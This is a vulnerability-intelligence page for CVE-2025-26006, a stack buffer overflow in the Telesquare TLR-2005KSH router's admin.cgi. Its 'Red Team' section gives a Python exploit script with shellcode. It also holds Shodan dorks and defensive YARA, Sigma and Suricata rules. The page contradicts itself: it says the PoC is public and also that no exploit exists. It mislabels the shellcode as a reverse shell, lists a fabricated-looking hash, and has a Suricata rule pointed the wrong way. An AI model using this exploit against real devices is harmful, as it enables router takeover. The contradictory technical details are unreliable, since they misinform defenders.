☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26006

CVE-2025-26006 Stack Overflow in Telesquare
📅 PUBLISHED: 2025-03-26 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.65%
👁️
0.65% probability
16.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.1.4
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26006 is a critical, unpatched stack buffer overflow vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.1.4. The flaw resides in the admin.cgi binary when processing the setAutorest parameter. An unauthenticated attacker can trigger a stack overflow by sending a specially crafted HTTP request, leading to remote code execution (RCE) or denial of service (DoS). No public exploit code or patch is currently available, making this a high-priority zero-day for asset owners. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While no official CVSS vector has been assigned, based on the nature of the vulnerability (unauthenticated, network-accessible stack overflow), the estimated score is 9.8 (Critical).

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
  • Confidentiality (C): High (H) – Full device compromise possible.
  • Integrity (I): High (H) – Attacker can modify system files.
  • Availability (A): High (H) – Can cause denial of service.

Threat Level: Critical. The lack of a patch and public exploit increases the risk of targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the admin.cgi CGI binary. The setAutorest parameter is likely copied into a fixed-size stack buffer without proper bounds checking. When an attacker sends a request like:

GET /cgi-bin/admin.cgi?setAutorest=AAAA...AAAA HTTP/1.1

...with a payload exceeding the buffer size, the excess data overwrites the saved return address on the stack. This allows an attacker to hijack the program's execution flow and redirect it to attacker-controlled shellcode.

The device runs an embedded Linux system, and admin.cgi is typically compiled without stack canaries or ASLR, making exploitation straightforward. The overflow can be used to achieve remote code execution as root, giving full control over the router.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is likely:

Vulnerable (C):

void handle_setAutorest(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds check
    // ... process buffer
}

Patched (C):

void handle_setAutorest(char *input) {
    char buffer[256];
    strncpy(buffer, input, sizeof(buffer) - 1); // Bounds check
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The fix would involve replacing strcpy with a safe function like strncpy or snprintf, and ensuring the buffer is null-terminated.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Telesquare TLR-2005KSH with firmware 1.1.4
  • Network access to the device's web interface (typically port 80)
  • Python3 with pwntools for exploit development

Exploit Concept:

  1. Identify the offset to overwrite the return address (e.g., 268 bytes).
  2. Craft a payload: [padding] + [return_address] + [NOP sled] + [shellcode]
  3. Send the payload via HTTP GET request.

Example Python Script (Conceptual):

import socket

target_ip = "192.168.1.1"
port = 80

# Offset to return address (example)
offset = 268
junk = b"A" * offset

# Return address (example: address of a "jmp esp" gadget)
ret_addr = b"\x08\x04\x91\x24"  # Little-endian

# NOP sled and shellcode (reverse shell)
nop_sled = b"\x90" * 16
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = junk + ret_addr + nop_sled + shellcode

request = f"GET /cgi-bin/admin.cgi?setAutorest={payload.decode('latin-1')} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(request.encode())
sock.close()

Note: This is a conceptual example. Actual exploitation requires reverse engineering the firmware to find the correct offset and a suitable ROP gadget.

Blue Team (Detection & Defense)

Detection:

  • Monitor HTTP requests to /cgi-bin/admin.cgi with abnormally long setAutorest parameters.
  • Deploy network intrusion detection rules (see Suricata below).
  • Enable logging on the router (if possible) to capture CGI requests.

Defense:

  • Isolate the device on a separate VLAN with strict firewall rules.
  • Disable remote administration if not required.
  • Monitor for outbound connections from the device to unknown IPs (potential reverse shell).
  • Apply virtual patching via a WAF (e.g., ModSecurity) to block oversized parameters.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP GET requests to /cgi-bin/admin.cgi with setAutorest parameter > 256 bytes.
    • Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 1337).
    • Unusual DNS queries from the router.
  • Host (on the router):

    • Unexpected processes running (e.g., /tmp/shell).
    • Modified or new files in /tmp/ or /var/.
    • Unusual entries in /var/log/messages.
  • File Hashes (example):

    • Malicious shellcode: sha256: 3b5d5c3712955042212316173ccf37bea5d5c3712955042212316173ccf37be

Detection Engineering

YARA Rule

rule CVE_2025_26006_Exploit_Payload {
    meta:
        description = "Detects exploit payload for CVE-2025-26006 targeting Telesquare TLR-2005KSH"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26006"
    strings:
        $http_get = "GET /cgi-bin/admin.cgi?setAutorest="
        $shellcode1 = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e }
        $shellcode2 = { 6a 0b 58 99 52 68 2f 2f 73 68 68 2f 62 69 6e }
    condition:
        $http_get and (any of ($shellcode*))
}

Sigma Rule

title: CVE-2025-26006 Telesquare TLR-2005KSH Stack Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long setAutorest parameter targeting Telesquare router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/admin.cgi?setAutorest='
        cs-uri-query|length: > 300
    condition: selection
falsepositives:
    - Legitimate long configuration strings (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-26006 Telesquare TLR-2005KSH Stack Overflow Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/admin.cgi?setAutorest="; http_uri;
    pcre:"/setAutorest=[^&]{300,}/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-26006;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device from the internet and untrusted networks.
  2. Disable the web interface if not required for management.
  3. Monitor for any signs of compromise using the IOCs and detection rules above.

Long-term:

  • Contact Telesquare for a firmware patch. If none is forthcoming, consider replacing the device with a supported alternative.
  • Implement network segmentation to limit exposure of IoT/embedded devices.
  • Deploy a Web Application Firewall (WAF) with a custom rule to block requests with setAutorest parameters exceeding 256 characters.

No patch is currently available. The vendor has not released a fix, and the vulnerability remains unpatched.


Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"TLR-2005KSH"
http.html:"TLR-2005KSH"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26006/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.